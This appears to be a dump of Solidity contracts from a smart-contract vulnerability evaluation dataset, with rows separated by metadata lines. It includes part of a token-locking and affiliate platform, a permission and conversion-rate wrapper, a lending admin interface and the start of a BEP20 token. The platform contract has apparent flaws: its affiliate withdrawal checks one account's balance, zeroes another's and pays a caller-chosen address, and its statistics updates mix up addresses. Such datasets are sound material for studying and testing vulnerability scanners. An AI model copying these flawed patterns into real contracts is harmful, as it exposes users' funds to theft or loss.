Statistics[msg.sender][ERC][5] = sub(Statistics[s.user][s.tokenAddress][5], s.amount);
s.lastwithdraw = amounttransfer; s.amountbalance = 0; s.lasttime = now;
PayToken(s.user, s.tokenAddress, amounttransfer);
if(s.cashbackbalance > 0 && s.cashbackstatus == false || s.cashbackstatus == true) {
s.tokenreceive = div(mul(s.amount, 88), 100) ; s.percentagereceive = mul(1000000000000000000, 88);
}
else {
s.tokenreceive = div(mul(s.amount, 72), 100) ; s.percentagereceive = mul(1000000000000000000, 72);
}
s.cashbackbalance = 0;
emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
} else { UnlockToken3(ERC, s.id); }
}
function UnlockToken3(address ERC, uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 timeframe = sub(now, s.lasttime);
uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), 2592000);
uint256 MaxWithdraw = div(s.amount, 10);
if (CalculateWithdraw > MaxWithdraw) { uint256 MaxAccumulation = MaxWithdraw; } else { MaxAccumulation = CalculateWithdraw; }
if (MaxAccumulation > s.amountbalance) { uint256 realAmount1 = s.amountbalance; } else { realAmount1 = MaxAccumulation; }
uint256 realAmount = add(s.cashbackbalance, realAmount1);
uint256 newamountbalance = sub(s.amountbalance, realAmount1);
s.cashbackbalance = 0;
s.amountbalance = newamountbalance;
s.lastwithdraw = realAmount;
s.lasttime = now;
UnlockToken4(ERC, id, newamountbalance, realAmount);
}
function UnlockToken4(address ERC, uint256 id, uint256 newamountbalance, uint256 realAmount) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 eventAmount = realAmount;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
uint256 tokenaffiliate = div(mul(s.amount, 12), 100) ;
uint256 maxcashback = div(mul(s.amount, 16), 100) ;
uint256 sid = s.id;
if (cashbackcode[msg.sender] == EthereumNodes && idaddress[msg.sender][0] == sid) {
uint256 tokenreceived = sub(sub(sub(s.amount, tokenaffiliate), maxcashback), newamountbalance) ;
}else { tokenreceived = sub(sub(s.amount, tokenaffiliate), newamountbalance) ;}
uint256 percentagereceived = div(mul(tokenreceived, 100000000000000000000), s.amount) ;
s.tokenreceive = tokenreceived;
s.percentagereceive = percentagereceived;
PayToken(s.user, s.tokenAddress, realAmount);
emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
Airdrop(s.tokenAddress, realAmount, 2);
}
function PayToken(address user, address tokenAddress, uint256 amount) private {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
uint256 Burnamount = div(amount, 100);
uint256 Trasnferamount = div(mul(amount, 99), 100);
token.transfer(user, Trasnferamount);
token.transfer(address(0), Burnamount);
Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount);
Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount);
Statistics[msg.sender][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount);
Bigdata[tokenAddress][11]++;
}
function Airdrop(address tokenAddress, uint256 amount, uint256 divfrom) private {
uint256 divider = Holdplatform_divider[tokenAddress][divfrom];
if (Holdplatform_status[tokenAddress] == 1) {
if (Holdplatform_balance > 0 && divider > 0) {
uint256 airdrop = div(amount, divider);
address airdropaddress = Holdplatform_address;
ERC20Interface token = ERC20Interface(airdropaddress);
token.transfer(msg.sender, airdrop);
Holdplatform_balance = sub(Holdplatform_balance, airdrop);
Bigdata[tokenAddress][12]++;
emit onReceiveAirdrop(msg.sender, airdrop, now);
}
}
}
function GetUserSafesLength(address hodler) public view returns (uint256 length) {
return idaddress[hodler].length;
}
function GetTotalAffiliate(address hodler) public view returns (uint256 length) {
return afflist[hodler].length;
}
function GetSafe(uint256 _id) public view
returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 cashbackbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive)
{
Safe storage s = _safes[_id];
return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.cashbackbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive);
}
function WithdrawAffiliate(address user, address tokenAddress) public {
require(tokenAddress != 0x0);
require(Statistics[user][tokenAddress][3] > 0);
uint256 amount = Statistics[msg.sender][tokenAddress][3];
Statistics[msg.sender][tokenAddress][3] = 0;
Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount);
Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount);
uint256 eventAmount = amount;
address eventTokenAddress = tokenAddress;
string memory eventTokenSymbol = ContractSymbol[tokenAddress];
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
Statistics[user][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount);
Bigdata[tokenAddress][13]++;
emit onAffiliateBonus(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
Airdrop(tokenAddress, amount, 3);
}
function AddContractAddress(address tokenAddress, uint256 _maxcontribution, string _ContractSymbol, uint256 _PercentPermonth) public restricted {
uint256 newSpeed = _PercentPermonth;
require(newSpeed >= 3 && newSpeed <= 12);
require(_maxcontribution >= 10000000);
Bigdata[tokenAddress][1] = newSpeed;
ContractSymbol[tokenAddress] = _ContractSymbol;
Bigdata[tokenAddress][5] = _maxcontribution;
uint256 _HodlingTime = mul(div(72, newSpeed), 30);
uint256 HodlTime = _HodlingTime * 1 days;
Bigdata[tokenAddress][2] = HodlTime;
contractaddress[tokenAddress] = true;
}
function TokenPrice(address tokenAddress, uint256 Currentprice, uint256 ATHprice, uint256 ATLprice, uint256 ETHprice) public restricted {
if (Currentprice > 0) { Bigdata[tokenAddress][14] = Currentprice; }
if (ATHprice > 0) { Bigdata[tokenAddress][15] = ATHprice; }
if (ATLprice > 0) { Bigdata[tokenAddress][16] = ATLprice; }
if (ETHprice > 0) { Bigdata[tokenAddress][17] = ETHprice; }
}
function Holdplatform_Airdrop(address tokenAddress, uint256 HPM_status, uint256 HPM_divider1, uint256 HPM_divider2, uint256 HPM_divider3) public restricted {
Holdplatform_status[tokenAddress] = HPM_status;
Holdplatform_divider[tokenAddress][1] = HPM_divider1;
Holdplatform_divider[tokenAddress][2] = HPM_divider2;
Holdplatform_divider[tokenAddress][3] = HPM_divider3;
}
function Holdplatform_Deposit(uint256 amount) restricted public {
require(amount > 0);
ERC20Interface token = ERC20Interface(Holdplatform_address);
require(token.transferFrom(msg.sender, address(this), amount));
uint256 newbalance = add(Holdplatform_balance, amount) ;
Holdplatform_balance = newbalance;
}
function Holdplatform_Withdraw(uint256 amount) restricted public {
require(Holdplatform_balance > 0 && amount <= Holdplatform_balance);
uint256 newbalance = sub(Holdplatform_balance, amount) ;
Holdplatform_balance = newbalance;
ERC20Interface token = ERC20Interface(Holdplatform_address);
require(token.balanceOf(address(this)) >= amount);
token.transfer(msg.sender, amount);
}
function updatenowtime(uint256 _nowtime) public restricted {
nowtime = _nowtime;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Interface {
uint256 public totalSupply;
uint256 public decimals;
function symbol() public view returns (string);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
| 163,232 | 10,522 |
8ccca7876178dcc90d580b03001ef8a57114fe991490b49f916ed6d37a8a9fe3
| 14,972 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x2af2f8caab1c8f94464c63fa055d89b1f2e17d05.sol
| 3,231 | 14,037 |
pragma solidity 0.4.18;
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed(address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/wrapperContracts/WrapperBase.sol
contract WrapperBase is Withdrawable {
PermissionGroups wrappedContract;
function WrapperBase(PermissionGroups _wrappedContract, address _admin) public {
require(_wrappedContract != address(0));
require(_admin != address(0));
wrappedContract = _wrappedContract;
admin = _admin;
}
function claimWrappedContractAdmin() public onlyAdmin {
wrappedContract.claimAdmin();
}
function transferWrappedContractAdmin (address newAdmin) public onlyAdmin {
wrappedContract.removeOperator(this);
wrappedContract.transferAdmin(newAdmin);
}
function addSignature(address[] storage existingSignatures) internal returns(bool allSigned) {
for(uint i = 0; i < existingSignatures.length; i++) {
if (msg.sender == existingSignatures[i]) revert();
}
existingSignatures.push(msg.sender);
if (existingSignatures.length == operatorsGroup.length) {
allSigned = true;
existingSignatures.length = 0;
} else {
allSigned = false;
}
}
}
// File: contracts/wrapperContracts/WrapConversionRate.sol
contract ConversionRateWrapperInterface {
function setQtyStepFunction(ERC20 token, int[] xBuy, int[] yBuy, int[] xSell, int[] ySell) public;
function setImbalanceStepFunction(ERC20 token, int[] xBuy, int[] yBuy, int[] xSell, int[] ySell) public;
function claimAdmin() public;
function addOperator(address newOperator) public;
function transferAdmin(address newAdmin) public;
function addToken(ERC20 token) public;
function setTokenControlInfo(ERC20 token,
uint minimalRecordResolution,
uint maxPerBlockImbalance,
uint maxTotalImbalance) public;
function enableTokenTrade(ERC20 token) public;
function getTokenControlInfo(ERC20 token) public view returns(uint, uint, uint);
}
contract WrapConversionRate is WrapperBase {
ConversionRateWrapperInterface conversionRates;
//add token parameters
ERC20 addTokenToken;
uint addTokenMinimalResolution; // can be roughly 1 cent
uint addTokenMaxPerBlockImbalance; // in twei resolution
uint addTokenMaxTotalImbalance;
address[] addTokenApproveSignatures;
address[] addTokenResetSignatures;
//set token control info parameters.
ERC20[] tokenInfoTokenList;
uint[] tokenInfoPerBlockImbalance; // in twei resolution
uint[] tokenInfoMaxTotalImbalance;
bool public tokenInfoParametersReady;
address[] tokenInfoApproveSignatures;
address[] tokenInfoResetSignatures;
//general functions
function WrapConversionRate(ConversionRateWrapperInterface _conversionRates, address _admin) public
WrapperBase(PermissionGroups(address(_conversionRates)), _admin)
{
require (_conversionRates != address(0));
conversionRates = _conversionRates;
tokenInfoParametersReady = false;
}
function getWrappedContract() public view returns (ConversionRateWrapperInterface _conversionRates) {
_conversionRates = conversionRates;
}
// add token functions
//////////////////////
function setAddTokenData(ERC20 token, uint minimalRecordResolution, uint maxPerBlockImbalance, uint maxTotalImbalance) public onlyOperator {
require(minimalRecordResolution != 0);
require(maxPerBlockImbalance != 0);
require(maxTotalImbalance != 0);
require(token != address(0));
//can update only when data is reset
require(addTokenToken == address(0));
//reset approve array. we have new parameters
addTokenApproveSignatures.length = 0;
addTokenToken = token;
addTokenMinimalResolution = minimalRecordResolution; // can be roughly 1 cent
addTokenMaxPerBlockImbalance = maxPerBlockImbalance; // in twei resolution
addTokenMaxTotalImbalance = maxTotalImbalance;
}
function signToApproveAddTokenData() public onlyOperator {
require(addTokenToken != address(0));
if(addSignature(addTokenApproveSignatures)) {
// can perform operation.
performAddToken();
resetAddTokenData();
}
}
function signToResetAddTokenData() public onlyOperator() {
require(addTokenToken != address(0));
if(addSignature(addTokenResetSignatures)) {
// can reset data
resetAddTokenData();
addTokenApproveSignatures.length = 0;
}
}
function performAddToken() internal {
conversionRates.addToken(addTokenToken);
//token control info
conversionRates.setTokenControlInfo(addTokenToken,
addTokenMinimalResolution,
addTokenMaxPerBlockImbalance,
addTokenMaxTotalImbalance);
//step functions
int[] memory zeroArr = new int[](1);
zeroArr[0] = 0;
conversionRates.setQtyStepFunction(addTokenToken, zeroArr, zeroArr, zeroArr, zeroArr);
conversionRates.setImbalanceStepFunction(addTokenToken, zeroArr, zeroArr, zeroArr, zeroArr);
conversionRates.enableTokenTrade(addTokenToken);
}
function resetAddTokenData() internal {
addTokenToken = ERC20(address(0));
addTokenMinimalResolution = 0;
addTokenMaxPerBlockImbalance = 0;
addTokenMaxTotalImbalance = 0;
}
function getAddTokenParameters() public view returns(ERC20 token, uint minimalRecordResolution, uint maxPerBlockImbalance, uint maxTotalImbalance) {
token = addTokenToken;
minimalRecordResolution = addTokenMinimalResolution;
maxPerBlockImbalance = addTokenMaxPerBlockImbalance; // in twei resolution
maxTotalImbalance = addTokenMaxTotalImbalance;
}
function getAddTokenApproveSignatures() public view returns (address[] signatures) {
signatures = addTokenApproveSignatures;
}
function getAddTokenResetSignatures() public view returns (address[] signatures) {
signatures = addTokenResetSignatures;
}
//set token control info
////////////////////////
function setTokenInfoTokenList(ERC20 [] tokens) public onlyOperator {
require(tokenInfoParametersReady == false);
tokenInfoTokenList = tokens;
}
function setTokenInfoMaxPerBlockImbalanceList(uint[] maxPerBlockImbalanceValues) public onlyOperator {
require(tokenInfoParametersReady == false);
require(maxPerBlockImbalanceValues.length == tokenInfoTokenList.length);
tokenInfoPerBlockImbalance = maxPerBlockImbalanceValues;
}
function setTokenInfoMaxTotalImbalanceList(uint[] maxTotalImbalanceValues) public onlyOperator {
require(tokenInfoParametersReady == false);
require(maxTotalImbalanceValues.length == tokenInfoTokenList.length);
tokenInfoMaxTotalImbalance = maxTotalImbalanceValues;
}
function setTokenInfoParametersReady() {
require(tokenInfoParametersReady == false);
tokenInfoParametersReady = true;
}
function signToApproveTokenControlInfo() public onlyOperator {
require(tokenInfoParametersReady == true);
if (addSignature(tokenInfoApproveSignatures)) {
// can perform operation.
performSetTokenControlInfo();
tokenInfoParametersReady = false;
}
}
function signToResetTokenControlInfo() public onlyOperator {
require(tokenInfoParametersReady == true);
if (addSignature(tokenInfoResetSignatures)) {
// can perform operation.
tokenInfoParametersReady = false;
}
}
function performSetTokenControlInfo() internal {
require(tokenInfoTokenList.length == tokenInfoPerBlockImbalance.length);
require(tokenInfoTokenList.length == tokenInfoMaxTotalImbalance.length);
uint minimalRecordResolution;
uint rxMaxPerBlockImbalance;
uint rxMaxTotalImbalance;
for (uint i = 0; i < tokenInfoTokenList.length; i++) {
(minimalRecordResolution, rxMaxPerBlockImbalance, rxMaxTotalImbalance) =
conversionRates.getTokenControlInfo(tokenInfoTokenList[i]);
require(minimalRecordResolution != 0);
conversionRates.setTokenControlInfo(tokenInfoTokenList[i],
minimalRecordResolution,
tokenInfoPerBlockImbalance[i],
tokenInfoMaxTotalImbalance[i]);
}
}
function getControlInfoPerToken (uint index) public view returns(ERC20 token, uint _maxPerBlockImbalance, uint _maxTotalImbalance) {
require (tokenInfoTokenList.length > index);
require (tokenInfoPerBlockImbalance.length > index);
require (tokenInfoMaxTotalImbalance.length > index);
return(tokenInfoTokenList[index], tokenInfoPerBlockImbalance[index], tokenInfoMaxTotalImbalance[index]);
}
function getControlInfoTokenlist() public view returns(ERC20[] tokens) {
tokens = tokenInfoTokenList;
}
function getControlInfoMaxPerBlockImbalanceList() public view returns(uint[] maxPerBlockImbalanceValues) {
maxPerBlockImbalanceValues = tokenInfoPerBlockImbalance;
}
function getControlInfoMaxTotalImbalanceList() public view returns(uint[] maxTotalImbalanceValues) {
maxTotalImbalanceValues = tokenInfoMaxTotalImbalance;
}
}
| 213,870 | 10,523 |
c74531a759653fab2e10239ebe0f1d91d135f502567d8a8dc1c2a15faca71572
| 15,649 |
.sol
|
Solidity
| false |
481786483
|
fadingflea/dai_alchemix_strategy
|
473a1f64cc314ce616013339acf748fc12e6263a
|
interfaces/IAlchemistV2AdminActions.sol
| 2,722 | 11,937 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.11;
interface IAlchemistV2AdminActions {
/// @notice Contract initialization parameters.
struct InitializationParams {
// The initial admin account.
address admin;
// The ERC20 token used to represent debt.
address debtToken;
// The initial transmuter or transmuter buffer.
address transmuter;
// The minimum collateralization ratio that an account must maintain.
uint256 minimumCollateralization;
// The percentage fee taken from each harvest measured in units of basis points.
uint256 protocolFee;
// The address that receives protocol fees.
address protocolFeeReceiver;
// A limit used to prevent administrators from making minting functionality inoperable.
uint256 mintingLimitMinimum;
// The maximum number of tokens that can be minted per period of time.
uint256 mintingLimitMaximum;
// The number of blocks that it takes for the minting limit to be refreshed.
uint256 mintingLimitBlocks;
// The address of the whitelist.
address whitelist;
}
/// @notice Configuration parameters for an underlying token.
struct UnderlyingTokenConfig {
// A limit used to prevent administrators from making repayment functionality inoperable.
uint256 repayLimitMinimum;
// The maximum number of underlying tokens that can be repaid per period of time.
uint256 repayLimitMaximum;
// The number of blocks that it takes for the repayment limit to be refreshed.
uint256 repayLimitBlocks;
// A limit used to prevent administrators from making liquidation functionality inoperable.
uint256 liquidationLimitMinimum;
// The maximum number of underlying tokens that can be liquidated per period of time.
uint256 liquidationLimitMaximum;
// The number of blocks that it takes for the liquidation limit to be refreshed.
uint256 liquidationLimitBlocks;
}
/// @notice Configuration parameters of a yield token.
struct YieldTokenConfig {
// The adapter used by the system to interop with the token.
address adapter;
// units of basis points.
uint256 maximumLoss;
// underlying token.
uint256 maximumExpectedValue;
// The number of blocks that credit will be distributed over to depositors.
uint256 creditUnlockBlocks;
}
/// @notice Initialize the contract.
///
/// @notice `params.protocolFee` must be in range or this call will with an {IllegalArgument} error.
///
/// @notice Emits an {AdminUpdated} event.
/// @notice Emits a {TransmuterUpdated} event.
/// @notice Emits a {MinimumCollateralizationUpdated} event.
/// @notice Emits a {ProtocolFeeUpdated} event.
/// @notice Emits a {ProtocolFeeReceiverUpdated} event.
/// @notice Emits a {MintingLimitUpdated} event.
///
/// @param params The contract initialization parameters.
function initialize(InitializationParams memory params) external;
/// @notice Sets the pending administrator.
///
///
/// @notice Emits a {PendingAdminUpdated} event.
///
///
/// @param value the address to set the pending admin to.
function setPendingAdmin(address value) external;
/// @notice Allows for `msg.sender` to accepts the role of administrator.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
///
/// @notice Emits a {AdminUpdated} event.
/// @notice Emits a {PendingAdminUpdated} event.
function acceptAdmin() external;
/// @notice Sets an address as a sentinel.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @param sentinel The address to set or unset as a sentinel.
/// @param flag A flag indicating of the address should be set or unset as a sentinel.
function setSentinel(address sentinel, bool flag) external;
/// @notice Sets an address as a keeper.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @param keeper The address to set or unset as a keeper.
/// @param flag A flag indicating of the address should be set or unset as a keeper.
function setKeeper(address keeper, bool flag) external;
/// @notice Adds an underlying token to the system.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @param underlyingToken The address of the underlying token to add.
/// @param config The initial underlying token configuration.
function addUnderlyingToken(address underlyingToken,
UnderlyingTokenConfig calldata config) external;
/// @notice Adds a yield token to the system.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @notice Emits a {AddYieldToken} event.
/// @notice Emits a {TokenAdapterUpdated} event.
/// @notice Emits a {MaximumLossUpdated} event.
///
/// @param yieldToken The address of the yield token to add.
/// @param config The initial yield token configuration.
function addYieldToken(address yieldToken, YieldTokenConfig calldata config)
external;
/// @notice Sets an underlying token as either enabled or disabled.
///
///
/// @notice Emits an {UnderlyingTokenEnabled} event.
///
/// @param underlyingToken The address of the underlying token to enable or disable.
/// @param enabled If the underlying token should be enabled or disabled.
function setUnderlyingTokenEnabled(address underlyingToken, bool enabled)
external;
/// @notice Sets a yield token as either enabled or disabled.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits a {YieldTokenEnabled} event.
///
/// @param yieldToken The address of the yield token to enable or disable.
/// @param enabled If the underlying token should be enabled or disabled.
function setYieldTokenEnabled(address yieldToken, bool enabled) external;
/// @notice Configures the the repay limit of `underlyingToken`.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @notice Emits a {ReplayLimitUpdated} event.
///
/// @param underlyingToken The address of the underlying token to configure the repay limit of.
/// @param maximum The maximum repay limit.
function configureRepayLimit(address underlyingToken,
uint256 maximum,
uint256 blocks) external;
/// @notice Configure the liquidation limiter of `underlyingToken`.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @notice Emits a {LiquidationLimitUpdated} event.
///
/// @param underlyingToken The address of the underlying token to configure the liquidation limit of.
/// @param maximum The maximum liquidation limit.
function configureLiquidationLimit(address underlyingToken,
uint256 maximum,
uint256 blocks) external;
/// @notice Set the address of the transmuter.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `value` must be non-zero or this call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {TransmuterUpdated} event.
///
/// @param value The address of the transmuter.
function setTransmuter(address value) external;
/// @notice Set the minimum collateralization ratio.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @notice Emits a {MinimumCollateralizationUpdated} event.
///
/// @param value The new minimum collateralization ratio.
function setMinimumCollateralization(uint256 value) external;
/// @notice Sets the fee that the protocol will take from harvests.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `value` must be in range or this call will with an {IllegalArgument} error.
///
/// @notice Emits a {ProtocolFeeUpdated} event.
///
/// @param value The value to set the protocol fee to measured in basis points.
function setProtocolFee(uint256 value) external;
/// @notice Sets the address which will receive protocol fees.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `value` must be non-zero or this call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {ProtocolFeeReceiverUpdated} event.
///
/// @param value The address to set the protocol fee receiver to.
function setProtocolFeeReceiver(address value) external;
/// @notice Configures the minting limiter.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @notice Emits a {MintingLimitUpdated} event.
///
/// @param maximum The maximum minting limit.
function configureMintingLimit(uint256 maximum, uint256 blocks) external;
///
/// @notice Emits a {CreditUnlockRateUpdated} event.
///
/// @param yieldToken The address of the yield token to set the credit unlock rate for.
/// @param blocks The number of blocks that it will take before the credit will be unlocked.
function configureCreditUnlockRate(address yieldToken, uint256 blocks)
external;
/// @notice Sets the token adapter of a yield token.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits a {TokenAdapterUpdated} event.
///
/// @param yieldToken The address of the yield token to set the adapter for.
/// @param adapter The address to set the token adapter to.
function setTokenAdapter(address yieldToken, address adapter) external;
/// @notice Sets the maximum expected value of a yield token that the system can hold.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @param yieldToken The address of the yield token to set the maximum expected value for.
function setMaximumExpectedValue(address yieldToken, uint256 value)
external;
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
///
/// @param yieldToken The address of the yield bearing token to set the maximum loss for.
/// @param value The value to set the maximum loss to. This is in units of basis points.
function setMaximumLoss(address yieldToken, uint256 value) external;
/// @notice Snap the expected value `yieldToken` to the current value.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
///
/// @param yieldToken The address of the yield token to snap.
function snap(address yieldToken) external;
}
| 339,917 | 10,524 |
3f4725c17e64fbf903bf2f57dc5e35f5c6c566ab2f2d68e4a2d263615254ad38
| 37,996 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xAF05B0F5cf144A767aE466d7D85Fe2CDa244d0a2/contract.sol
| 4,865 | 19,082 |
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
